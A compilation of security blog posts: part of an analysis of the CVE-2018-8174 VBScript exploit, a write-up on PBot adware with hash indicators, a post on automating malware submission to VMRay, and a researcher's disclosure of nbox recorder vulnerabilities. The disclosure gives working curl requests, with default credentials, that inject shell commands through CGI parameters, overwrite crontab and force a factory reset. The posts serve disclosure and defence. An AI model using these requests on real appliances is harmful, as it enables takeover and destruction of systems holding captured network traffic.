0047OP_Bos1 4
0049OP_InitClass ‘Class2’
004EOP_LocalSet 1

the OP_InitClass ‘Class2’ instruction creates an “evil twin” instance of class ‘Class1’ at the location of the previously freed VBScriptClass, which is still referenced by the OP_NamedSt ‘mem’ instruction in function 36 (‘SetProp’).

Class ‘Class2’ is the “evil twin” of class ‘Class1’:

Class Class2
Dim mem
Function P0123456789
	P0123456789=LenB(mem(IlII+(8)))
End Function
Function SPP
End Function
End Class
Function 31 ('Class2') [max stack = 1]:
        arg count = 0
        lcl count = 0
    Pcode:
        0000    OP_CreateClass   'Class2'
        0005    OP_FnBindEx      'P0123456789' 32 FALSE
        000F    OP_FnBindEx      'SPP' 33 FALSE
        0019    OP_CreateVar     'mem' FALSE
        001F    OP_LocalSet      0
        0022    OP_FnReturn     
    Function 32 ('P0123456789') [max stack = 2]:
        arg count = 0
        lcl count = 0
    Pcode:
        ***BOS(8390,8421)*** P0123456789=LenB(mem(IlII+(8))) *****
        0000    OP_Bos1          0
        0002    OP_NamedAdr      'IlII'
        0007    OP_IntConst      8
        0009    OP_Add          
        000A    OP_CallNmdAdr    'mem' 1
        0011    OP_CallNmdAdr    'LenB' 1
        0018    OP_LocalSt       0
        ***BOS(8423,8435)*** End Function *****
        001B    OP_Bos1          1
        001D    OP_FnReturn     
        001E    OP_Bos0         
        001F    OP_FuncEnd      
    Function 33 ('SPP') [max stack = 0]:
        arg count = 0
        lcl count = 0
    Pcode:
        ***BOS(8451,8463)*** End Function *****
        0000    OP_Bos1          0
        0002    OP_FnReturn     
        0003    OP_Bos0         
        0004    OP_FuncEnd

The location of variables in memory is predictable. The amount of data occupied by the VVAL structure is calculated using the formula 0x32 + the length of the variable name in UTF-16.

Below is a diagram that shows the location of ‘Class1’ variables relative to ‘Class2’ variables when ‘Class2’ is allocated in place of ‘Class1’.

When execution of the OP_NamedSt ‘mem’ instruction in function 36 (‘SetProp’) is complete, the value returned by function 30 (‘p’) is written to memory through the dangling pointer of VVAL ‘mem’ in Class1, overwriting the VARIANT type of VVAL ‘mem’ in Class2.

VARIANT of type Double overwrites the VARIANT type from String to Array

Thus, an object of type String is converted to an object of type Array, and data that was previously considered to be a string is treated as an Array control structure, allowing access to be gained to the entire address space of the process.

Conclusion

Our scripts for disassembling VBScript compiled into p-code enable VBScript debugging at the bytecode level, which helps to analyze exploits and understand how VBScript operates. They are available in our Github repository

The case of CVE-2018-8174 demonstrates that when memory allocations are highly predictable, use-after-free vulnerabilities are easy to exploit. The in-the-wild exploit targets older versions of Windows. The location of objects in memory required for its exploitation is most likely to occur in Windows 7 and Windows 8.1.

Automatic Exploit Protection (AEP), part of Kaspersky Lab products, blocks all stages of the exploit with the following verdicts:

  • HEUR:Exploit.MSOffice.Generic
  • HEUR:Exploit.Script.CVE-2018-8174.a
  • HEUR:Exploit.Script.Generic
  • HEUR:Trojan.Win32.Generic
  • PDM:Exploit.Win32.Generic

Pbot: evolving adware

The adware PBot (PythonBot) got its name because its core modules are written in Python. It was more than a year ago that we detected the first member of this family. Since then, we have encountered several modifications of the program, one of which went beyond adware by installing and running a hidden miner on victim computers:

Miner code installed through PBot

Two other versions of PBot we detected were restricted to the goal of placing unwanted advertising on web pages visited by the victim. In both versions, the adware initially attempts to inject a malicious DLL into the browser. The first version uses it to run JS scripts to display ads on web pages, the second — to install ad extensions in the browser. The latter is the more interesting of the two: developers are constantly releasing new versions of this modification, each of which complicates the script obfuscation. Another distinctive feature of this Pbot variation is the presence of a module that updates scripts and downloads fresh browser extensions.

Throughout April, we registered more than 50,000 attempts to install PBot on computers of users of Kaspersky Lab products. The following month this number increased, indicating that this adware is on the rise. PBot’s target audience is mainly in Russia, Ukraine, and Kazakhstan.

Geography of infection attempts

Distribution methods

PBot is generally distributed through partner sites whose pages implement scripts to redirect users to sponsored links.
Here is the standard PBot propagation scheme:

  1. The user visits the partner site.
  2. When any point on the page is clicked, a new browser window pops up that opens an intermediate link.
  3. The intermediate link redirects the user to the PBot download page, which is tasked with downloading and running the adware on the victim computer by hook or by crook. The following is a section of code from one such page:

    Code of a page propagating PBot

  4. An HTA file is downloaded. On startup this file downloads the PBot installer.

    PBot propagation chain

Operating logic

PBot consists of several Python scripts executed in sequence. In the latest versions of the program, they are obfuscated using Pyminifier.

Obfuscated script code

In the new versions of PBot, modules are executed according to the following scheme:

PBot installation

  1. The source file *.hta downloads an executable file, which is the NSIS installer of PBot, to %AppData%.
  2. The installer drops a folder with the Python 3 interpreter, Python scripts, and a browser extension into %AppData%.
  3. Using the subprocess library, the ml.py script adds two tasks to Windows Task Scheduler. The first is tasked with executing ml.py when the user signs into the system, while the second runs app.py daily at 5:00. In addition, the winreg library is used to write the app.py script to the autoloader.
  4. The launchall.py script runs app.py, which handles the update of PBot scripts and the download of new browser extensions.
  5. Next, launchall.py checks whether the following processes are active:
    • browser.exe
    • chrome.exe
    • opera.exe
  6. If the processes are found, the DLL-generating script brplugin.py is started. The resulting DLL is injected into the launched browser and installs the ad extension.

    Writing the DLL to the browser process memory and executing the library

The browser extension installed by PBot typically adds various banners to the page, and redirects the user to advertising sites.

PBot result: Pop-up window with an ad clip on www.kaspersky.com

Conclusion

In pursuit of profit, adware owners often resort to installing their products on the sly, and PBot developers are no exception. They release new versions (and update them on user computers), complicating their obfuscation to bypass protection systems.
Kaspersky Lab solutions detect PBot with the following verdicts:
AdWare.Win32.PBot
AdWare.NSIS.PBot
AdWare.HTML.PBot
AdWare.Python.PBot

IoCs:
3cd47c91d8d8ce44e50a1785455c8f7c
1aaedcf1f1ea274c7ca5f517145cb9b5
bb2fbb72ef683e648d5b2ceca0d08a93
23e7cd8ca8226fa17e72df2ce8c43586
ad03c82b952cc352b5e6d4b20075d7e1
0cb5a3d428c5db610a4565c17e3dc05e
3a6ad75eb3b8fe07c6aca8ae724a9416
184e16789caf0822cd4d63f9879a6c81

Playbook Fridays: Conducting VMRay Malware Analysis

Save time with a one-click process

ThreatConnect developed the Playbooks capability to help analysts automate time consuming and repetitive tasks so they can focus on what is most important. And in many cases, to ensure the analysis process can occur consistently and in real time, without human intervention.

An automated malware analysis system (AMA) is a requirement in any defender's repertoire. Any time that can be saved during an analyst's process performing what amounts to menial labor can be spent on actual analysis and proactively defending an organization.

This Playbook takes a suspicious or malicious file sample from ThreatConnect's Malware Vault and transmits it to an automated malware analysis system, in this case, VMRay, submitting it for dynamic and static analysis. It turns a manual, multiple-click process into a simple, one-click process, saving a small amount of time, which really adds up over the course of weeks and months.

The Playbook is triggered by a User Action. In this case, the run playbook button is mapped to Documents in ThreatConnect. This generates a button on the Document's details page called "VMRay Analyze".

The Playbook downloads the malware sample and copies the archive password stored in an attribute of the Document. These two, as well as any configuration settings, are submitted to VMRay's REST API. The Playbook checks whether either of two TLPs are marking the sample: TLP:RED or TLP:AMBER. If they are present, the sample is only analyzed by VMRay, it is not additionally checked with third party scanners. Finally, the Playbook checks for errors and returns a nice tooltip with a link to the analysis report in VMRay's portal.

 

Entire-VMRay-Submission-Playbook

Entire VMRay Submission Playbook

 

 

New-Playbook-Return-on-Investment-Calculator

New Playbook Return on Investment Calculator

 

 

In the latest release of ThreatConnect, Playbooks now have a Return on Investment (ROI) calculator. By estimating the time saved by running a playbook compared with the time wasted by an analyst performing the process manually, one is able to calculate roughly how much money a playbook is saving a team over time.

 

The following are a few highlights from certain steps in the Playbook:

Set-Variable-App-First-In-the-Sequence-of-the-Playbook

 

A set variable app is first in the sequence of the playbook. This allows the user to set various options used during submission to VMRay.

Implementation-of-JMESPath

This step uses an implementation of JMESPath to check if the sample in the ThreatConnect Malware Vault has been marked with a security label. In this case, it is checking for TLP:AMBER and TLP:RED, two designations that are part of the traffic light protocol, a system for governing how data may be shared and with whom. In this case, data that is marked with either of these two restrictive TLPs will be sent only to VMRay and not to any third party system.

ThreatConnect-Data-Store-to-Save-the-API-Response-from-VMRay

This step leverages ThreatConnect's data store to save the API response from VMRay. As you can see, this uses the "Organization" domain of the data store. This allows other playbooks running in one's org in ThreatConnect access to the data that this playbook writes there. Any further operations can then be built out in other playbooks based on the saved data.

VMRay-Analyze-User-Action

The trigger for this playbook is a User Action. This provides a button on the malware vault document that runs the playbook in the context of that Document. After the sample has been submitted for analysis to VMRay, a link back to the report in VMRay's portal is displayed to the user as a tooltip that appears above the button once it has been clicked. If for some reason the analysis failed at the time of submission, the error message is displayed in the same tooltip for the user to view.

The post Playbook Fridays: Conducting VMRay Malware Analysis appeared first on ThreatConnect | Enterprise Threat Intelligence Platform.

Got any RCEs?

Security is a boomin’, and so there are many different appliances to protect your network. Some of them do very little to protect, some of them open new holes in your network.

In line with best practice, many Security teams capture all network traffic using a variety of solutions, some closed, some open source. Once the traffic is stored, it can be used to detect badness, or just examine traffic patterns on corporate assets.

One of these open source options is NTOP, which of course has an appliance version, called nbox recorder.  It goes without saying, if this traffic data were to be exposed, the consequences could be catastrophic. Consider stored credentials, authentication data, PII, internal data leakage...
pcap_tee.png
PCAP or it didn't happen

You can either buy a ready-to-go appliance or with some drudge work you can build your own. Just get a license for nbox and just put it into a Linux box, they are nice like that providing all the repositories and the steps are simple and easy to follow. Just spin up an Ubuntu VM and run:


wget http://apt.ntop.org/14.04/all/apt-ntop.deb
sudo dpkg -i apt-ntop.deb
sudo apt-get clean all
sudo apt-get update
sudo apt-get install -y pfring nprobe ntopng ntopng-data n2disk cento nbox





BOOM! You are ready to go. Now you have a nbox recorder ready to be used. And abused!
The default credentials are nbox/nbox and it does use Basic Auth to be accessed.

Before I continue, imagine that you have this machine capturing all the traffic of your network. Listening to all your corporate communications or production traffic and storing them on disk. How bad would it be if an attacker gets full access to it? Take a minute to think about it.


nervs.gif
Uh-oh...
This level of exposure caught my eye, and I wanted to verify that having one of these sitting in your network does not make you more exposed. Unfortunately, I found several issues that could have been catastrophic with a malicious intent.

I do believe in the responsible disclosure process, however after repeatedly notifying both ntop and MITRE, these issues were not given high priority nor visibility. The following table details the timeline around my disclosure communications: 

Disclosure Timeline

12/27/2014 - Sent to ntop details about some nbox vulnerabilities discovered in version 2.0
01/15/2015 - Asked ntop for an update about the vulnerabilities sent
01/16/2015 - Requested by ntop the details again, stating they may have been fixed
01/18/2015 - Sent for a second time the vulnerabilities details. Mentioned to request CVEs
05/24/2015 - Asked ntop for an update about the vulnerabilities sent and to request CVEs
01/06/2016 - Noticed new nbox version is out (2.3) and found more vulnerabilities. Old vulnerabilities are fixed. Sent ntop an email about new issues and to request CVEs
01/06/2016 - Quick answer ignoring my request for CVEs and just asking for vulnerabilities details.
01/28/2016 - Sent request for CVEs to MITRE, submitting a full report with all the issues and steps to reproduce.
02/17/2016 - Asked MITRE for an update on the issues submitted.
02/17/2016 - Reply from MITRE: “Your request is outside the scope of CVE's published priorities. As such, it will not be assigned a CVE-ID by MITRE or another CVE CNA at this time.”

07/10/2016 - Noticed new nbox version (2.5) with partial fixes for some vulnerabilities in the previous (2.3) version

The ntop team initially refused to comment and silently fixed the bugs. MITRE then said this wasn't severe enough to warrant a CVE. As such, I have now chosen to highlight the issues here in an effort to have them remediated. I again want to highlight that I take this process very seriously, but after consulting with multiple other individuals, I feel that both the ntop team and MITRE have left me no other responsible options.
neotrain1.jpg
Here comes the paintrain!

*Replace NTOP-BOX with the IP address of your appliance (presuming that you already logged in). Note that most of the RCEs are wrapped in sudo so it makes the pwnage much more interesting:


RCE: POST against https://NTOP-BOX/ntop-bin/write_conf_users.cgi with parameter cmd=touch /tmp/HACK

curl -sk --user nbox:nbox --data 'cmd=touch /tmp/HACK' 'https://NTOP-BOX/ntop-bin/write_conf_users.cgi'


RCE: POST against https://NTOP-BOX/ntop-bin/rrd_net_graph.cgi with parameters interface=;touch /tmp/HACK;


curl -sk --user nbox:nbox --data 'interface=;touch /tmp/HACK;' 'https://NTOP-BOX/ntop-bin/rrd_net_graph.cgi'


RCE (Wrapped in sudo): GET https://NTOP-BOX/ntop-bin/pcap_upload.cgi?dir=|touch%20/tmp/HACK&pcap=pcap


curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/pcap_upload.cgi?dir=|touch%20/tmp/HACK&pcap=pcap'


RCE (Wrapped in sudo): GET https://NTOP-BOX/ntop-bin/sudowrapper.cgi?script=adm_storage_info.cgi&params=P%22|whoami%3E%20%22/tmp/HACK%22|echo%20%22


curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/sudowrapper.cgi?script=adm_storage_info.cgi&params=P%22|whoami%3E%20%22/tmp/HACK%22|echo%20%22'

RCE: POST against https://NTOP-BOX/ntop-bin/do_mergecap.cgi with parameters opt=Merge&base_dir=/tmp&out_dir=/tmp/DOESNTEXIST;touch /tmp/HACK;exit%200

curl -sk --user nbox:nbox --data 'opt=Merge&base_dir=/tmp&out_dir=/tmp/DOESNTEXIST;touch /tmp/HACK;exit 0' 'https://NTOP-BOX/ntop-bin/do_mergecap.cgi'

There are some other interesting things, for example, it was possible to have a persistent XSS by rewriting crontab with a XSS payload on it, but they fixed it in 2.5. However the crontab overwrite (Wrapped in sudo) is still possible:

GET https://NTOP-BOX/ntop-bin/do_crontab.cgi?act_cron=COMMANDS%20TO%20GO%20IN%20CRON

curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/do_crontab.cgi?act_cron=COMMANDS%20TO%20GO%20IN%20CRON'

The last one is a CSRF that leaves the machine fried, by resetting the machine completely:
GET https://NTOP-BOX/ntop-bin/do_factory_reset.cgi

curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/do_factory_reset.cgi'


To make things easier, I created a Vagrantfile with provisioning so you can have your own nbox appliance and test my findings or give it a shot. There is more stuff to be found, trust me :)


And you can run the checker.sh to check for all the above attacks. Pull requests are welcome if you find more!



Screen Shot 2016-07-26 at 10.00.27.png





nodding.gif





(The issues were found originally in nbox 2.3 and confirmed in nbox 2.5)

Modules for metasploit and BeEF will come soon. I hope this time the issues are not just silently patched...

If you have any questions or feedback, hit me up in twitter (@javutin)!

Have a nice day!